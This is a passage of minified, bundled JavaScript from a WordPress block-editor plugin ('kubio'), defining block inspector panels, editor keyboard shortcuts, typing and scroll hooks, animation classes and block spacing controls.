Zr=n(130),Jr=()=>Object(Zr.a)(qn.a.slotName)?Object(a.createElement)(u.PanelBody,{className:"block-editor-block-inspector__advanced",title:Object(s.__)("Advanced","kubio"),initialOpen:!1},Object(a.createElement)(qn.b.Slot,{group:"advanced"})):null,el=n(129),tl=()=>Object(Zr.a)(el.a.position.Slot.__unstableName)?Object(a.createElement)(u.PanelBody,{className:"block-editor-block-inspector__position",title:Object(s.__)("Position","kubio"),initialOpen:!1},Object(a.createElement)(qn.b.Slot,{group:"position"})):null,nl=e=>{let{showAdvancedControls:t=!1}=e;return Object(a.createElement)(a.Fragment,null,Object(a.createElement)(qn.b.Slot,null),Object(a.createElement)(tl,null),t&&Object(a.createElement)("div",null,Object(a.createElement)(Jr,null)))},ol=e=>{let{blockName:t,clientId:n,hasBlockStyles:o}=e;return Object(a.createElement)(a.Fragment,null,o&&Object(a.createElement)("div",null,Object(a.createElement)(u.PanelBody,{title:Object(s.__)("Styles","kubio")},Object(a.createElement)(it,{clientId:n}),Object(k.hasBlockSupport)(t,"defaultStylePicker",!0)&&Object(a.createElement)(Xr,{blockName:t}))),Object(a.createElement)(qn.b.Slot,{group:"color",label:Object(s.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),Object(a.createElement)(qn.b.Slot,{group:"typography",label:Object(s.__)("Typography","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"dimensions",label:Object(s.__)("Dimensions","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"border",label:Object(s.__)("Border","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"styles"}))};const rl=["core/navigation"];var ll=e=>!rl.includes(e),cl=n(280),il=Object(a.createElement)(L.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(a.createElement)(L.Path,{d:"M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z"}));const al={name:"settings",title:"Settings",value:"settings",icon:cl.a,className:"block-editor-block-inspector__tab-item"},sl={name:"styles",title:"Styles",value:"styles",icon:il,className:"block-editor-block-inspector__tab-item"},ul={name:"list",title:"List View",value:"list-view",icon:Oe.a,className:"block-editor-block-inspector__tab-item"};function dl(e){let{blockName:t,clientId:n,hasBlockStyles:o,tabs:r}=e;const l=ll(t)?void 0:ul.name;return Object(a.createElement)(u.TabPanel,{className:"block-editor-block-inspector__tabs kubio-core-blocks-tabs",tabs:r,initialTabName:l,key:n},(e=>e.name===al.name?Object(a.createElement)(nl,{showAdvancedControls:!!t}):e.name===sl.name?Object(a.createElement)(ol,{blockName:t,clientId:n,hasBlockStyles:o}):e.name===ul.name?Object(a.createElement)(qn.b.Slot,{group:"list"}):void 0))}const bl=[],pl=u.__experimentalUseSlotFills?u.__experimentalUseSlotFills:()=>[];function ml(e){const t=[],{border:n,color:o,default:r,dimensions:l,list:c,position:i,styles:a,typography:s}=el.a,u=ll(e),d=pl(c.Slot.__unstableName),b=!u&&!!d&&d.length,p=[...pl(n.Slot.__unstableName)||[],...pl(o.Slot.__unstableName)||[],...pl(l.Slot.__unstableName)||[],...pl(a.Slot.__unstableName)||[],...pl(s.Slot.__unstableName)||[]].length,m=pl(qn.a.slotName)||[],f=[...pl(r.Slot.__unstableName)||[],...pl(i.Slot.__unstableName)||[],...b&&p>1?m:[]];b&&t.push(ul),f.length&&t.push(al),p&&t.push(sl);const g=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return void 0!==t[e]?t[e]:void 0===t.default||t.default}(e,Object(_.useSelect)((e=>e(C.a).getSettings().blockInspectorTabs),[]));return g?t:bl}function fl(e,t){const n=Object(a.useMemo)((()=>e.reduce(((e,t)=>("core/list-item"!==t.name&&Object.entries(t.attributes).some((e=>{let[,{__experimentalRole:t}]=e;return"content"===t}))&&(e[t.name]=!0),e)),{})),[e]),o=Object(a.useCallback)((e=>!!n[e]),[e]);return Object(a.useMemo)((()=>gl([t],o)),[t,o])}function gl(e,t){const n=[];for(const o of e)t(o.name)&&n.push(o),n.push(...gl(o.innerBlocks,t));return n}function hl(e){let{blockTypes:t,block:n,selectedBlock:o}=e;const{selectBlock:r}=Object(_.useDispatch)(C.a),l=t.find((e=>{let{name:t}=e;return t===n.name})),c=o&&o.clientId===n.clientId;return Object(a.createElement)(u.Button,{isPressed:c,onClick:()=>r(n.clientId)},Object(a.createElement)(u.__experimentalHStack,{justify:"flex-start"},Object(a.createElement)(S.a,{icon:l.icon}),Object(a.createElement)(u.FlexItem,null,l.title)))}function vl(e){let{topLevelLockedBlock:t}=e;const{blockTypes:n,block:o,selectedBlock:r}=Object(_.useSelect)((e=>({blockTypes:e(k.store).getBlockTypes(),block:e(C.a).getBlock(t),selectedBlock:e(C.a).getSelectedBlock()})),[t]),l=Object(Be.a)(t),c=fl(n,o);return Object(a.createElement)("div",{className:"block-editor-block-inspector"},Object(a.createElement)(nt,Object(i.a)({},l,{className:l.isSynced&&"is-synced"})),Object(a.createElement)(_t,{blockClientId:t}),Object(a.createElement)(u.__experimentalVStack,{spacing:1,padding:4,className:"block-editor-block-inspector__block-buttons-container"},Object(a.createElement)("h2",{className:"block-editor-block-card__title"},Object(s.__)("Content","kubio")),c.map((e=>Object(a.createElement)(hl,{selectedBlock:r,key:e.clientId,block:e,blockTypes:n})))))}const Ol=e=>{let{animate:t,wrapper:n,children:o}=e;return t?n(o):o},kl=e=>{let{blockInspectorAnimationSettings:t,selectedBlockClientId:n,children:o}=e;const r=t&&"leftToRight"===t.enterDirection?-50:50;return Object(a.createElement)(u.__unstableMotion.div,{animate:{x:0,opacity:1,transition:{ease:"easeInOut",duration:.14}},initial:{x:r,opacity:0},key:n},o)},jl=e=>{let{clientId:t,blockName:n}=e;const o=ml(n),r=(null==o?void 0:o.length)>1,l=Object(_.useSelect)((e=>{const{getBlockStyles:t}=e(k.store),o=t(n);return o&&o.length>0}),[n]),c=Object(Be.a)(t);return Object(a.createElement)("div",{className:"block-editor-block-inspector"},Object(a.createElement)(nt,Object(i.a)({},c,{className:c.isSynced&&"is-synced"})),Object(a.createElement)(_t,{blockClientId:t}),r&&Object(a.createElement)(dl,{hasBlockStyles:l,clientId:t,blockName:n,tabs:o}),!r&&Object(a.createElement)(a.Fragment,null,l&&Object(a.createElement)("div",null,Object(a.createElement)(u.PanelBody,{title:Object(s.__)("Styles","kubio")},Object(a.createElement)(it,{clientId:t}),Object(k.hasBlockSupport)(n,"defaultStylePicker",!0)&&Object(a.createElement)(Xr,{blockName:n}))),Object(a.createElement)(qn.b.Slot,null),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"color",group:"color",label:Object(s.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"typography",group:"typography",label:Object(s.__)("Typography","kubio")}),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"dimensions",group:"dimensions",label:Object(s.__)("Dimensions","kubio")}),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"border",group:"border",label:Object(s.__)("Border","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"styles"}),Object(a.createElement)(tl,null),!n.startsWith("kubio/")&&"core/post-content"!==n&&Object(a.createElement)("div",null,Object(a.createElement)(Jr,null))),Object(a.createElement)(Kr,{key:"back"}))};var _l=e=>{let{showNoBlockSelectedMessage:t=!0}=e;const{count:n,selectedBlockName:o,selectedBlockClientId:r,blockType:l,topLevelLockedBlock:c}=Object(_.useSelect)((e=>{const{getSelectedBlockClientId:t,getSelectedBlockCount:n,getBlockName:o,__unstableGetContentLockingParent:r,getTemplateLock:l}=e(C.a),c=t(),i=c&&o(c),a=i&&Object(k.getBlockType)(i);return{count:n(),selectedBlockClientId:c,selectedBlockName:i,blockType:a,topLevelLockedBlock:r(c)||("contentOnly"===l(c)?c:void 0)}}),[]),i=ml(null==l?void 0:l.name),u=(null==i?void 0:i.length)>1,d=Object(_.useSelect)((e=>{if(l){const t=e(C.a).getSettings().__experimentalBlockInspectorAnimation;return null==t?void 0:t[l.name]}return null}),[r,l]);if(n>1)return Object(a.createElement)("div",{className:"block-editor-block-inspector"},Object(a.createElement)(Qr,null),u?Object(a.createElement)(dl,{tabs:i}):Object(a.createElement)(a.Fragment,null,Object(a.createElement)(qn.b.Slot,null),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"color",group:"color",label:Object(s.__)("Color","kubio"),className:"color-block-support-panel__inner-wrapper"}),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"typography",group:"typography",label:Object(s.__)("Typography","kubio")}),Object(a.createElement)(qn.b.Slot,{__experimentalGroup:"dimensions",group:"dimensions",label:Object(s.__)("Dimensions","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"border",__experimentalGroup:"border",label:Object(s.__)("Border","kubio")}),Object(a.createElement)(qn.b.Slot,{group:"styles"})));const b=o===Object(k.getUnregisteredTypeHandlerName)();return l&&r&&!b?c?Object(a.createElement)(vl,{topLevelLockedBlock:c}):Object(a.createElement)(Ol,{animate:d,wrapper:e=>Object(a.createElement)(kl,{blockInspectorAnimationSettings:d,selectedBlockClientId:r},e)},Object(a.createElement)(jl,{clientId:r,blockName:l.name})):t?Object(a.createElement)("span",{className:"block-editor-block-inspector__no-blocks"},Object(s.__)("No block selected.","kubio")):null},yl=n(70),El=n(223),Sl=n(107),Cl=n(163),wl=n(141),Bl=n(225),Il=n(227),xl=n(235),Tl=n(72),Nl=n(133),Ml=n(271),Pl=n(254),Ll=n(148),Rl=n(253),Al=n(90),Dl=function(e){let{__unstableContentRef:t}=e;const[n,o]=Object(a.useState)(!1),r=Object(_.useSelect)((e=>e(C.a).getBlockOrder()),[]);return Object(a.useEffect)((()=>{const e=setTimeout((()=>{o(!0)}),500);return()=>{clearTimeout(e)}}),[]),n?r.map(((e,n)=>n===r.length-1?null:Object(a.createElement)(Rl.a,{key:e,previousClientId:e,nextClientId:r[n+1],__unstableContentRef:t},Object(a.createElement)("div",{className:"block-editor-block-list__insertion-point-inserter is-with-inserter"},Object(a.createElement)(Al.a,{position:"bottom center",clientId:r[n+1],__experimentalIsQuick:!0}))))):null};function Fl(e){const{__unstableGetEditorMode:t,getSettings:n,isTyping:o}=e(C.a);return{isZoomOutMode:"zoom-out"===t(),hasFixedToolbar:n().hasFixedToolbar,isTyping:o()}}function zl(e){let{children:t,__unstableContentRef:n,...o}=e;const r=Object(ke.useViewportMatch)("medium"),{hasFixedToolbar:l,isZoomOutMode:c,isTyping:s}=Object(_.useSelect)(Fl,[]),d=Object(Tl.__unstableUseShortcutEventMatch)(),{getSelectedBlockClientIds:b,getBlockRootClientId:p}=Object(_.useSelect)(C.a),{duplicateBlocks:m,removeBlocks:f,insertAfterBlock:g,insertBeforeBlock:h,clearSelectedBlock:v,moveBlocksUp:O,moveBlocksDown:k}=Object(_.useDispatch)(C.a),j=Object(Ll.a)(n),y=Object(Ll.a)(n);return Object(a.createElement)("div",Object(i.a)({},o,{onKeyDown:function(e){if(!e.defaultPrevented)if(d("core/block-editor/move-up",e)){const t=b();if(t.length){e.preventDefault();const n=p(t[0]);O(t,n)}}else if(d("core/block-editor/move-down",e)){const t=b();if(t.length){e.preventDefault();const n=p(t[0]);k(t,n)}}else if(d("core/block-editor/duplicate",e)){const t=b();t.length&&(e.preventDefault(),m(t))}else if(d("core/block-editor/remove",e)){const t=b();t.length&&(e.preventDefault(),f(t))}else if(d("core/block-editor/insert-after",e)){const t=b();t.length&&(e.preventDefault(),g(t[t.length-1]))}else if(d("core/block-editor/insert-before",e)){const t=b();t.length&&(e.preventDefault(),h(t[0]))}else d("core/block-editor/unselect",e)&&b().length&&(e.preventDefault(),v(),e.target.ownerDocument.defaultView.getSelection().removeAllRanges(),null==n||n.current.focus())}}),Object(a.createElement)(Nl.a.Provider,{value:Object(a.useRef)(!1)},!s&&Object(a.createElement)(Nl.b,{__unstableContentRef:n}),!c&&(l||!r)&&Object(a.createElement)(Pl.a,{isFixed:!0}),Object(a.createElement)(Ml.a,{__unstableContentRef:n}),Object(a.createElement)(u.Popover.Slot,{name:"block-toolbar",ref:j}),t,Object(a.createElement)(u.Popover.Slot,{name:"__unstable-block-tools-after",ref:y}),c&&Object(a.createElement)(Dl,{__unstableContentRef:n})))}var Vl=n(190),Hl=n(162),Gl=n(229),$l=n(269),Ul=function(e){let{rootClientId:t,clientId:n,isAppender:o,showInserterHelpPanel:r,showMostUsedBlocks:l=!1,__experimentalInsertionIndex:c,onSelect:i=Je.noop,shouldFocusBlock:s=!1,shouldSelectBlock:u=!0,ownerDocument:d}=e;const b=Object(_.useSelect)((e=>{const{getBlockRootClientId:o}=e(C.a);return t||o(n)||void 0}),[n,t]);return Object(a.createElement)($l.a,{onSelect:i,rootClientId:b,clientId:n,isAppender:o,showInserterHelpPanel:r,showMostUsedBlocks:l,__experimentalInsertionIndex:c,shouldFocusBlock:s,shouldSelectBlock:u,ownerDocument:d})};function Wl(){return null}Wl.Register=function(){const{registerShortcut:e}=Object(_.useDispatch)(Tl.store);return Object(a.useEffect)((()=>{e({name:"core/block-editor/duplicate",category:"block",description:Object(s.__)("Duplicate the selected block(s).","kubio"),keyCombination:{modifier:"primaryShift",character:"d"}}),e({name:"core/block-editor/remove",category:"block",description:Object(s.__)("Remove the selected block(s).","kubio"),keyCombination:{modifier:"access",character:"z"}}),e({name:"core/block-editor/insert-before",category:"block",description:Object(s.__)("Insert a new block before the selected block(s).","kubio"),keyCombination:{modifier:"primaryAlt",character:"t"}}),e({name:"core/block-editor/insert-after",category:"block",description:Object(s.__)("Insert a new block after the selected block(s).","kubio"),keyCombination:{modifier:"primaryAlt",character:"y"}}),e({name:"core/block-editor/delete-multi-selection",category:"block",description:Object(s.__)("Delete selection.","kubio"),keyCombination:{character:"del"},aliases:[{character:"backspace"}]}),e({name:"core/block-editor/select-all",category:"selection",description:Object(s.__)("Select all text when typing. Press again to select all blocks.","kubio"),keyCombination:{modifier:"primary",character:"a"}}),e({name:"core/block-editor/unselect",category:"selection",description:Object(s.__)("Clear selection.","kubio"),keyCombination:{character:"escape"}}),e({name:"core/block-editor/focus-toolbar",category:"global",description:Object(s.__)("Navigate to the nearest toolbar.","kubio"),keyCombination:{modifier:"alt",character:"F10"}}),e({name:"core/block-editor/move-up",category:"block",description:Object(s.__)("Move the selected block(s) up.","kubio"),keyCombination:{modifier:"secondary",character:"t"}}),e({name:"core/block-editor/move-down",category:"block",description:Object(s.__)("Move the selected block(s) down.","kubio"),keyCombination:{modifier:"secondary",character:"y"}})}),[e]),null};var Kl=Wl;function ql(){return pe()("wp.blockEditor.MultiSelectScrollIntoView",{hint:"This behaviour is now built-in.",since:"5.8"}),null}const Yl=new Set([oe.UP,oe.RIGHT,oe.DOWN,oe.LEFT,oe.ENTER,oe.BACKSPACE]);function Ql(){const e=Object(_.useSelect)((e=>e(C.a).isTyping()),[]),{stopTyping:t}=Object(_.useDispatch)(C.a);return Object(ke.useRefEffect)((n=>{if(!e)return;const{ownerDocument:o}=n;let r,l;function c(e){const{clientX:n,clientY:o}=e;r&&l&&(r!==n||l!==o)&&t(),r=n,l=o}return o.addEventListener("mousemove",c),()=>{o.removeEventListener("mousemove",c)}}),[e,t])}function Xl(){const{isTyping:e,hasInlineToolbar:t}=Object(_.useSelect)((e=>{const{isTyping:t,getSettings:n}=e(C.a);return{isTyping:t(),hasInlineToolbar:n().hasInlineToolbar}}),[]),{startTyping:n,stopTyping:o}=Object(_.useDispatch)(C.a),r=Ql(),l=Object(ke.useRefEffect)((r=>{const{ownerDocument:l}=r,{defaultView:c}=l,i=c.getSelection();if(e){let s;function u(e){const{target:t}=e;s=c.setTimeout((()=>{Object(cn.isTextField)(t)||o()}))}function d(e){const{keyCode:t}=e;t!==oe.ESCAPE&&t!==oe.TAB||o()}function b(){i.isCollapsed||o()}return r.addEventListener("focus",u),r.addEventListener("keydown",d),t||l.addEventListener("selectionchange",b),()=>{c.clearTimeout(s),r.removeEventListener("focus",u),r.removeEventListener("keydown",d),l.removeEventListener("selectionchange",b)}}function a(e){const{type:t,target:o}=e;Object(cn.isTextField)(o)&&r.contains(o)&&("keydown"!==t||function(e){const{keyCode:t,shiftKey:n}=e;return!n&&Yl.has(t)}(e))&&n()}return r.addEventListener("keypress",a),r.addEventListener("keydown",a),()=>{r.removeEventListener("keypress",a),r.removeEventListener("keydown",a)}}),[e,t,n,o]);return Object(ke.useMergeRefs)([r,l])}var Zl=function(e){let{children:t}=e;return Object(a.createElement)("div",{ref:Xl()},t)};const Jl=-1!==window.navigator.userAgent.indexOf("Trident"),ec=new Set([oe.UP,oe.DOWN,oe.LEFT,oe.RIGHT]),tc=.75;function nc(){const e=Object(_.useSelect)((e=>e(C.a).hasSelectedBlock()),[]);return Object(ke.useRefEffect)((t=>{if(!e)return;const{ownerDocument:n}=t,{defaultView:o}=n;let r,l,c;function i(){r||(r=o.requestAnimationFrame((()=>{b(),r=null})))}function a(e){l&&o.cancelAnimationFrame(l),l=o.requestAnimationFrame((()=>{s(e),l=null}))}function s(e){let{keyCode:r}=e;if(!p())return;const l=Object(cn.computeCaretRect)(o);if(!l)return;if(!c)return void(c=l);if(ec.has(r))return void(c=l);const i=l.top-c.top;if(0===i)return;const a=Object(cn.getScrollContainer)(t);if(!a)return;const s=a===n.body||a===n.documentElement,u=s?o.scrollY:a.scrollTop,d=s?0:a.getBoundingClientRect().top,b=s?c.top/o.innerHeight:(c.top-d)/(o.innerHeight-d);if(0===u&&b<tc&&function(){const e=t.querySelectorAll('[contenteditable="true"]');return e[e.length-1]===n.activeElement}())return void(c=l);const m=s?o.innerHeight:a.clientHeight;c.top+c.height>d+m||c.top<d?c=l:s?o.scrollBy(0,i):a.scrollTop+=i}function u(){n.addEventListener("selectionchange",d)}function d(){n.removeEventListener("selectionchange",d),b()}function b(){p()&&(c=Object(cn.computeCaretRect)(o))}function p(){return t.contains(n.activeElement)&&n.activeElement.isContentEditable}return o.addEventListener("scroll",i,!0),o.addEventListener("resize",i,!0),t.addEventListener("keydown",a),t.addEventListener("keyup",s),t.addEventListener("mousedown",u),t.addEventListener("touchstart",u),()=>{o.removeEventListener("scroll",i,!0),o.removeEventListener("resize",i,!0),t.removeEventListener("keydown",a),t.removeEventListener("keyup",s),t.removeEventListener("mousedown",u),t.removeEventListener("touchstart",u),n.removeEventListener("selectionchange",d),o.cancelAnimationFrame(r),o.cancelAnimationFrame(l)}}),[e])}var oc=Jl?e=>e.children:function(e){let{children:t}=e;return Object(a.createElement)("div",{ref:nc(),className:"block-editor__typewriter"},t)},rc=n(161),lc=n(237),cc=n(243);const ic=Object(a.createContext)({});function ac(e){let{children:t,uniqueId:n,blockName:o=""}=e;const r=Object(a.useContext)(ic),{name:l}=Object(j.c)();o=o||l;const c=Object(a.useMemo)((()=>function(e,t,n){const o={...e,[t]:e[t]?new Set(e[t]):new Set};return o[t].add(n),o}(r,o,n)),[r,o,n]);return Object(a.createElement)(ic.Provider,{value:c},t)}function sc(e){var t;let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";const o=Object(a.useContext)(ic),{name:r}=Object(j.c)();return n=n||r,Boolean(null===(t=o[n])||void 0===t?void 0:t.has(e))}var uc=n(169),dc=n(314);function bc(e){let{title:t,help:n,actions:o=[],onClose:r}=e;return Object(a.createElement)(u.__experimentalVStack,{className:"block-editor-inspector-popover-header",spacing:4},Object(a.createElement)(u.__experimentalHStack,{alignment:"center"},Object(a.createElement)(u.__experimentalHeading,{className:"block-editor-inspector-popover-header__heading",level:2,size:13},t),Object(a.createElement)(u.__experimentalSpacer,null),o.map((e=>{let{label:t,icon:n,onClick:o}=e;return Object(a.createElement)(u.Button,{key:t,className:"block-editor-inspector-popover-header__action",label:t,icon:n,variant:!n&&"tertiary",onClick:o},!n&&t)})),r&&Object(a.createElement)(u.Button,{className:"block-editor-inspector-popover-header__action",label:Object(s.__)("Close","kubio"),icon:dc.a,onClick:r})),n&&Object(a.createElement)(u.__experimentalText,null,n))}var pc=Object(a.forwardRef)((function(e,t){let{onClose:n,onChange:o,...r}=e;return Object(a.createElement)("div",{ref:t,className:"block-editor-publish-date-time-picker"},Object(a.createElement)(bc,{title:Object(s.__)("Publish","kubio"),actions:[{label:Object(s.__)("Now","kubio"),onClick:()=>null==o?void 0:o(null)}],onClose:n}),Object(a.createElement)(u.DateTimePicker,Object(i.a)({startOfWeek:Object(Vt.getSettings)().l10n.startOfWeek,__nextRemoveHelpButton:!0,__nextRemoveResetButton:!0,onChange:o},r)))})),mc=n(146)},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(7),r=n(12),l=n(14);function c(e){return Object(o.useSelect)((t=>{if(!e)return null;const{getBlockName:n,getBlockAttributes:o}=t(l.a),{getBlockType:c,getActiveBlockVariation:i}=t(r.store),a=n(e),s=c(a);if(!s)return null;const u=o(e),d=i(a,u),b=Object(r.isReusableBlock)(s)||Object(r.isTemplatePart)(s),p={isSynced:b,title:s.title,icon:s.icon,description:s.description,anchor:null==u?void 0:u.anchor};return d?{isSynced:b,title:d.title||s.title,icon:d.icon||s.icon,description:d.description||s.description,anchor:null==u?void 0:u.anchor}:p}),[e])}},,function(e,t){!function(){e.exports=this.wp.a11y}()},function(e,t){!function(){e.exports=this.ReactDOM}()},function(e,t,n){"use strict";n.d(t,"a",(function(){return p})),n.d(t,"b",(function(){return d})),n.d(t,"c",(function(){return u})),n.d(t,"d",(function(){return j})),n.d(t,"e",(function(){return c})),n.d(t,"f",(function(){return g})),n.d(t,"g",(function(){return a})),n.d(t,"h",(function(){return i}));var o=n(20),r=n(10);const l=Symbol.for("Animated:node"),c=e=>e&&e[l],i=(e,t)=>Object(o.h)(e,l,t),a=e=>e&&e[l]&&e[l].getPayload();class s{constructor(){this.payload=void 0,i(this,this)}getPayload(){return this.payload||[]}}class u extends s{constructor(e){super(),this.done=!0,this.elapsedTime=void 0,this.lastPosition=void 0,this.lastVelocity=void 0,this.v0=void 0,this.durationProgress=0,this._value=e,o.s.num(this._value)&&(this.lastPosition=this._value)}static create(e){return new u(e)}getPayload(){return[this]}getValue(){return this._value}setValue(e,t){return o.s.num(e)&&(this.lastPosition=e,t&&(e=Math.round(e/t)*t,this.done&&(this.lastPosition=e))),this._value!==e&&(this._value=e,!0)}reset(){const{done:e}=this;this.done=!1,o.s.num(this._value)&&(this.elapsedTime=0,this.durationProgress=0,this.lastPosition=this._value,e&&(this.lastVelocity=null),this.v0=null)}}class d extends u{constructor(e){super(0),this._string=null,this._toString=void 0,this._toString=Object(o.f)({output:[e,e]})}static create(e){return new d(e)}getValue(){let e=this._string;return null==e?this._string=this._toString(this._value):e}setValue(e){if(o.s.str(e)){if(e==this._string)return!1;this._string=e,this._value=1}else{if(!super.setValue(e))return!1;this._string=null}return!0}reset(e){e&&(this._toString=Object(o.f)({output:[this.getValue(),e]})),this._value=0,super.reset()}}const b={dependencies:null};class p extends s{constructor(e){super(),this.source=e,this.setValue(e)}getValue(e){const t={};return Object(o.l)(this.source,((n,r)=>{var c;(c=n)&&c[l]===c?t[r]=n.getValue(e):Object(o.r)(n)?t[r]=Object(o.q)(n):e||(t[r]=n)})),t}setValue(e){this.source=e,this.payload=this._makePayload(e)}reset(){this.payload&&Object(o.k)(this.payload,(e=>e.reset()))}_makePayload(e){if(e){const t=new Set;return Object(o.l)(e,this._addToPayload,t),Array.from(t)}}_addToPayload(e){b.dependencies&&Object(o.r)(e)&&b.dependencies.add(e);const t=a(e);t&&Object(o.k)(t,(e=>this.add(e)))}}class m extends p{constructor(e){super(e)}static create(e){return new m(e)}getValue(){return this.source.map((e=>e.getValue()))}setValue(e){const t=this.getPayload();return e.length==t.length?t.map(((t,n)=>t.setValue(e[n]))).some(Boolean):(super.setValue(e.map(f)),!0)}}function f(e){return(Object(o.t)(e)?d:u).create(e)}function g(e){const t=c(e);return t?t.constructor:o.s.arr(e)?m:Object(o.t)(e)?d:u}function h(){return h=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},h.apply(this,arguments)}const v=(e,t)=>{const n=!o.s.fun(e)||e.prototype&&e.prototype.isReactComponent;return Object(r.forwardRef)(((l,c)=>{const i=Object(r.useRef)(null),a=n&&Object(r.useCallback)((e=>{i.current=function(e,t){return e&&(o.s.fun(e)?e(t):e.current=t),t}(c,e)}),[c]),[s,u]=function(e,t){const n=new Set;return b.dependencies=n,e.style&&(e=h({},e,{style:t.createAnimatedStyle(e.style)})),e=new p(e),b.dependencies=null,[e,n]}(l,t),d=Object(o.z)(),m=()=>{const e=i.current;n&&!e||!1===(!!e&&t.applyAnimatedValues(e,s.getValue(!0)))&&d()},f=new O(m,u),g=Object(r.useRef)();Object(o.A)((()=>{const e=g.current;g.current=f,Object(o.k)(u,(e=>Object(o.c)(e,f))),e&&(Object(o.k)(e.deps,(t=>Object(o.x)(t,e))),o.w.cancel(e.update))})),Object(r.useEffect)(m,[]),Object(o.C)((()=>()=>{const e=g.current;Object(o.k)(e.deps,(t=>Object(o.x)(t,e)))}));const v=t.getComponentProps(s.getValue());return r.createElement(e,h({},v,{ref:a}))}))};class O{constructor(e,t){this.update=e,this.deps=t}eventObserved(e){"change"==e.type&&o.w.write(this.update)}}const k=Symbol.for("AnimatedComponent"),j=(e,{applyAnimatedValues:t=(()=>!1),createAnimatedStyle:n=(e=>new p(e)),getComponentProps:r=(e=>e)}={})=>{const l={applyAnimatedValues:t,createAnimatedStyle:n,getComponentProps:r},c=e=>{const t=_(e)||"Anonymous";return(e=o.s.str(e)?c[e]||(c[e]=v(e,l)):e[k]||(e[k]=v(e,l))).displayName=`Animated(${t})`,e};return Object(o.l)(e,((t,n)=>{o.s.arr(e)&&(n=_(t)),c[n]=c(t)})),{animated:c}},_=e=>o.s.str(e)?e:e&&o.s.str(e.displayName)?e.displayName:o.s.fun(e)&&e.name||null},,function(e,t,n){"use strict";n.d(t,"c",(function(){return p})),n.d(t,"d",(function(){return m})),n.d(t,"b",(function(){return g})),n.d(t,"e",(function(){return h})),n.d(t,"f",(function(){return v})),n.d(t,"a",(function(){return O}));var o=n(0),r=n(1),l=n(12),c=n(3),i=n(71),a=n(53),s=n(127),u=n(30),d=n(89),b=n(41);function p(e){const t=Object(l.getBlockSupport)(e,d.d);return!!(!0===t||null!=t&&t.blockGap)}function m(e){var t,n;return void 0!==(null===(t=e.attributes.style)||void 0===t||null===(n=t.spacing)||void 0===n?void 0:n.blockGap)}function f(e){if(!e)return null;const t="string"==typeof e;return{top:t?e:null==e?void 0:e.top,left:t?e:null==e?void 0:e.left}}function g(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"0";const n=f(e);if(!n)return null;const o=Object(a.h)(null==n?void 0:n.top)||t,r=Object(a.h)(null==n?void 0:n.left)||t;return o===r?o:`${o} ${r}`}function h(e){let{attributes:t={},setAttributes:n}=e;const{style:o}=t;n({style:{...o,spacing:{...null==o?void 0:o.spacing,blockGap:void 0}}})}function v(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=!Object(u.a)("spacing.blockGap");return!p(e)||t}function O(e){var t;const{clientId:n,attributes:{style:l},name:a,setAttributes:p}=e,m=Object(u.a)("spacing.spacingSizes"),g=Object(c.__experimentalUseCustomUnits)({availableUnits:Object(u.a)("spacing.units")||["%","px","em","rem","vw"]}),h=Object(d.e)(a,"blockGap"),O=Object(i.b)(n);if(v(e))return null;const k=h&&h.some((e=>d.a.includes(e))),j=e=>{var t;let n=e;e&&k?n={...f(e)}:null!=e&&e.hasOwnProperty("top")&&(n=e.top);const o={...l,spacing:{...null==l?void 0:l.spacing,blockGap:n}};p({style:Object(b.a)(o)});const r=(null===(t=window)||void 0===t?void 0:t.navigator.userAgent)&&window.navigator.userAgent.includes("Safari")&&!window.navigator.userAgent.includes("Chrome ")&&!window.navigator.userAgent.includes("Chromium ");var c;O.current&&r&&(null===(c=O.current.parentNode)||void 0===c||c.replaceChild(O.current,O.current))},_=f(null==l||null===(t=l.spacing)||void 0===t?void 0:t.blockGap),y=k?{..._,right:null==_?void 0:_.left,bottom:null==_?void 0:_.top}:{top:null==_?void 0:_.top};return o.Platform.select({web:Object(o.createElement)(o.Fragment,null,(!m||0===(null==m?void 0:m.length))&&(k?Object(o.createElement)(c.__experimentalBoxControl,{label:Object(r.__)("Block spacing","kubio"),min:0,onChange:j,units:g,sides:h,values:y,allowReset:!1,splitOnAxis:k}):Object(o.createElement)(c.__experimentalUnitControl,{label:Object(r.__)("Block spacing","kubio"),__unstableInputWidth:"80px",min:0,onChange:j,units:g,value:y})),(null==m?void 0:m.length)>0&&Object(o.createElement)(s.a,{values:y,onChange:j,label:Object(r.__)("Block spacing","kubio"),sides:k?h:["top"],units:g,allowReset:!1,splitOnAxis:k})),native:null})}},function(e,t,n){"use strict";n.d(t,"b",(function(){return r})),n.d(t,"a",(function(){return c})),n.d(t,"c",(function(){return i}));var o=n(0);const r={name:"",isSelected:!1},l=Object(o.createContext)(r),{Provider:c}=l;function i(){return Object(o.useContext)(l)}},function(e,t){!function(){e.exports=this.wp.notices}()},function(e,t,n){"use strict";n.d(t,"b",(function(){return L})),n.d(t,"c",(function(){return D})),n.d(t,"a",(function(){return z}));var o=n(0),r=n(13),l=n.n(r),c=n(7),i=n(11),a=n(270),s=n(12),u=n(162),d=n(140),b=n(14);function p(e){let{rootClientId:t}=e;return 